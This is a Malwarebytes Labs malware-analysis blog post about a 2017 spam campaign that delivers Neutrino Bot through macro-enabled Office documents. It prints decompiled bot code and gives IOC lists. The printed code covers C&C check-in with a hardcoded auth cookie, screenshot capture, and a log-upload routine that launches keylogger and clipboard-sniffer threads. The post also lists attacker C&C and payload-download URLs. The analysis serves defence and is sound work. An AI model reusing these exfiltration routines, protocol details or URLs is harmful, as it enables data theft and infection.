

# Post-holiday spam campaign delivers Neutrino Bot

[blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/](http://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/)

Malwarebytes Labs


January 11, 2017




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During the Christmas season and early into the new year, we noticed a sharp decrease in spam volume, perhaps as online criminals took a break from their malicious activities and popped the champagne to celebrate. It could also have been a time to regroup and plan new strategies for the upcoming year.

In any case, over the weekend we observed a large new campaign purporting to be an email from 'Microsoft Security Office' with a link to a full security report (*Microsoft.report.doc*). This was somewhat unexpected, as typically the malicious Office files are directly attached to the email. Instead, the files are hosted on various servers with a short time to live window.



The booby-trapped document asks users to enable macros in order to launch the malicious code.



## Neutrino Bot

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If the macro executes, the final payload will be downloaded and executed. This is Neutrino bot – which we had analyzed over a year ago and that can:

- perform DDoS attacks
- capture keystrokes, do form grabbing, take screenshots
- spoof DNS requests
- download additional malware

## Analyzed sample


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2b796c0e248b02aa0c6fda288cb62531 – original sample

## Details

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After deploying the sample, it installs itself in %APPDATA% in a folder called “UmJn“. This folder name is typical for the particular edition of Neutrino Bot:



It starts connecting to the C&C in order to fetch the commands and perform the malicious actions by querying a script called “tasks.php”.

The list of URLs is hardcoded in the bot in the form of a Base64 string:

```

lpWideCharStr = 0;
_decoded = sub_401C2F(
    (int)L"aHR0cDovL3NhZmUydW5hdGUyLnRvcC9uL3Rhc2tzLnBocCpodHRwOi8vc2FmZXJ1bmF0ZXIueH16L24vdGFza3MucGI
    "Ly9zYWZ1cnUuYXR1ci5zcGFjZS9uL3Rhc2tzLnBocCpodHRwOi8vZ29kb211bmJpdC5iaXQubi90YXNrcy5waHA=",
    v1,
    &lpWideCharStr);
decoded = _decoded;
if ( lpWideCharStr )
{
    v22 = simple_decrypt(v3, _decoded);
    v4 = decoded;
    *( _DWORD *) (a1 + 7812) = sub_401ECE(L"aHR0cDovL3NhZmUydW5hdGUyLnRvcC9uL3Rhc2tzLnBocCpodHRwOi8vc2FmZXJ1bmF0ZXIueH16L24vdGFza3MucGI
    for ( i = wcstok(v4, L"*"); ; i = wcstok(0, L"*") )
    {

```

URLs extracted from this sample:

- http://saferunater.top/n/tasks.php
- http://saferunater.xyz/n/tasks.php
- http://saferunater.space/n/tasks.php
- http://godomenbit.bit/n/tasks.php

Neutrino uses a very simple method of authentication – it sends a cookie with a hardcoded value:

```

POST %s HTTP/1.0
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/38.0
Content-type: application/x-www-form-urlencoded
Cookie: auth=bc00595440e801f8a5d2a2ad13b9791b
Content-length: %i

```

In the previously described version it was md5(“admin”). This time it is:

```
"bc00595440e801f8a5d2a2ad13b9791b" -> md5("just for fun")
```

While the goals of the bot and major features didn’t change much, the code seems to be partially rewritten in comparison to the leaked version 3.9.4.

Here is the old version, reporting to the CnC:

```

if ( a2 )
{
    if ( a2 == 1 )
    {
        wsprintfW(v34, L"exec=1&task_id=%S", a1);
    }
    else if ( a2 == 2 )
    {
        wsprintfW(v34, L"fail=1&task_id=%S", a1);
    }
}
else
{
    wsprintfW(v34, L"cmd=1&uid=%s&os=%s&av=%s&version=%s&quality=%i", &v21, &v22, &v23, L"3.9.4", v25);
}
lpAddress = (void *)sub_40FE50(&WideCharStr, v34, 0);
sub_4085A0(v34);
if ( a2 != 1 && a2 != 2 )
{
    Str = (char *)sub_40AE50((int)lpAddress, "DEBUG", "DEBUG");
}

```

The new version – that seems to be **5.2** – is much less verbose. It doesn't use any strings that will indicate purpose of any particular value. Additionally, some of the used functions are loaded dynamically and identified by checksums for the purpose of decreasing code readability:

```

---
v2 = load_function(2, 0x8EB39475);
v65 = load_function(10, 0x8FB39146);
v24 = load_function(10, 0xBA64B77E);
v3 = sub_405B22(4096);
v4 = lpWideCharStr;
v5 = *((_BYTE *)lpWideCharStr + 7800);
v61 = v3;
if ( ((int (__cdecl *)(int, __int16 *, LPCWSTR, LPCWSTR, LPCWSTR, int, LPCWSTR, const wchar_t *, LPCWSTR, const wchar_t *))v2)(
    v3,
    &v25,
    lpWideCharStr + 2600,
    lpWideCharStr + 2860,
    lpWideCharStr + 3640,
    v5,
    lpWideCharStr + 3120,
    L"5.2",
    lpWideCharStr + 3380,
    L"NONE") <= 0 )
goto LABEL_51;

```

The features are also reorganized. For example, there is still a feature of making screenshots of the victim's desktop – but its implementation details have changed:

```

00407742 send_screenshot proc near
00407742
00407742 arg_0= dword ptr 8
00407742
00407742 push    ebp
00407743 mov     ebp, esp
00407745 push    ebx
00407746 push    esi
00407747 push    edi
00407748 push    0BA64B77Eh
0040774D push    0Ah
0040774F call   sub_401065
00407754 push    0 ; char
00407756 push    offset aScreenshot_jpg ; "\\screenshot.jpg"
0040775B push    offset aUmjm ; "UmJm"
00407760 push    1Ah ; int
00407762 mov     ebx, eax
00407764 call   sub_4038A7
00407769 add     esp, 18h
0040776C mov     esi, eax
0040776E call   sub_4085BF
00407773 mov     edi, [ebp+arg_0]
00407776 test    al, al
00407778 jnz    short loc_40779F

```

```

0040777A push    esi
0040777B call   make_bitmap
00407780 pop     ecx
00407781 test    eax, eax
00407783 jz     short loc_40779F


```

```

00407785 push    esi ; int
00407786 push    dword ptr [edi] ; lpWideCharStr
00407788 call   send_file


```

Screen grabbing is triggered by a command from the C&C:



The created screenshot is immediately sent to the C&C.

In the past, the same feature was implemented along with the keylogger.



The responsible thread is deployed and the screenshot taken periodically and saved to the logs along with other grabbed content. When the logs' size exceeds a defined threshold, they are uploaded to the C&C:

```

hFile = CreateFileW(L"logs.rar", 0x80000000, 1u, 0, 3u, 0, 0);
if ( hFile != (HANDLE)-1 )
{
    v5 = GetFileSize(hFile, 0);
    CloseHandle(hFile);
    if ( v5 )
    {
        if ( Send_logs((LPCWSTR)(a4 + 1560), lpBuffer) )
            DeleteFileW(L"logs.rar");
    }
    else
    {
        DeleteFileW(L"logs.rar");
    }
}
if ( sub_408100(L"logs.rar", 1) > 0 && sub_408100(L"logs.rar", 0) >= 1 && send_logs((LPCWSTR)(a4 + 1560), lpBuffer) )
    DeleteFileW(L"logs.rar");
Str = (wchar_t *)sub_40F770(a1); signed int
if ( (unsigned __int8)sub_40A750(a1) )
{
    sub_4085A0(Str);
    result = 0;
}
else
{
    Source = wcstok(Str, L"|");
    v6 = 0;
    while ( Source )
    {
        wcsncpy(&word_41B878 + 260 * v6, Source);
        Source = wcstok(0, L"|");
        ++v6;
    }
    dwMilliseconds = 50000 * sub_40B450();
    if ( (signed int)dwMilliseconds > 900000 )
        dwMilliseconds = 600000;
    memset(&Dst, 0, 0x108u);
    v13 = a2;
    Dst = dwMilliseconds;
    strcpy(&Dst, a3);
    Handles = (HANDLE)beginthreadex(0, 0, clipboard_sniffer, &v13, 0, 0);
    hObject = (HANDLE)beginthreadex(0, 0, keylogger_module, &v13, 0, 0);
    WaitForMultipleObjects(2u, &Handles, 1, dwMilliseconds);
    CloseHandle(Handles);
    CloseHandle(hObject);
    result = 1;
}

```

The implemented changes improved code quality separating the particular features and give the operator more control on its execution. Still, the code is not obfuscated but the authors tried to hide some strings that explicitly show the purpose of the particular commands.

Just like in the previous case we are dealing with a fully-fledged multipurpose bot – with various features allowing to steal data and invade privacy, but also to use infected computers for DDoS attacks or download other malware.

## Protection

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It is important to remember to be particularly careful with Office documents masquerading as invoices, or other such reports that leverage the macro feature to execute code that will download and retrieve the actual payload. As an end user, do not enable macros unless you completely trust the file or are running it in a virtualized environment. As an IT admin, you can set policies to permanently disable macros.

Malwarebytes users are protected from this threat via the web or exploit protection modules.

## IOCs:

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Malicious doc:

*agranfoundation[.]org/Microsoft[.]report[.]doc*  
*xn--hastabakc-2pbb[.]net/Microsoft[.]report[.]doc*  
*ecpi[.]ro/Microsoft[.]report[.]doc*  
*ilkhaberadana[.]com/Microsoft[.]report[.]doc*  
*cincote[.]com/Microsoft[.]report[.]doc*  
*mallsofjeddah[.]com/Microsoft[.]report[.]doc*  
*dianasoligorsk[.]by/Microsoft[.]report[.]doc*

*8dd66dd191c9f0d2f4b5407e5d94e815e8007a3de21ab16de49be87ea8a92e8d*

Neutrino bot:

*www.endclothing[.]cu[.]cc/nn.exe*

*87b7e57140e790b6602c461472ddc07abf66d07a3f534cdf293d4b73922406fe*  
*b1ae6fc1b97db5a43327a3d7241d1e55b20108f00eb27c1b8aa855f92f71cb4b*  
*ca64848f4c090846a94e0d128489b80b452e8c89c48e16a149d73ffe58b6b111*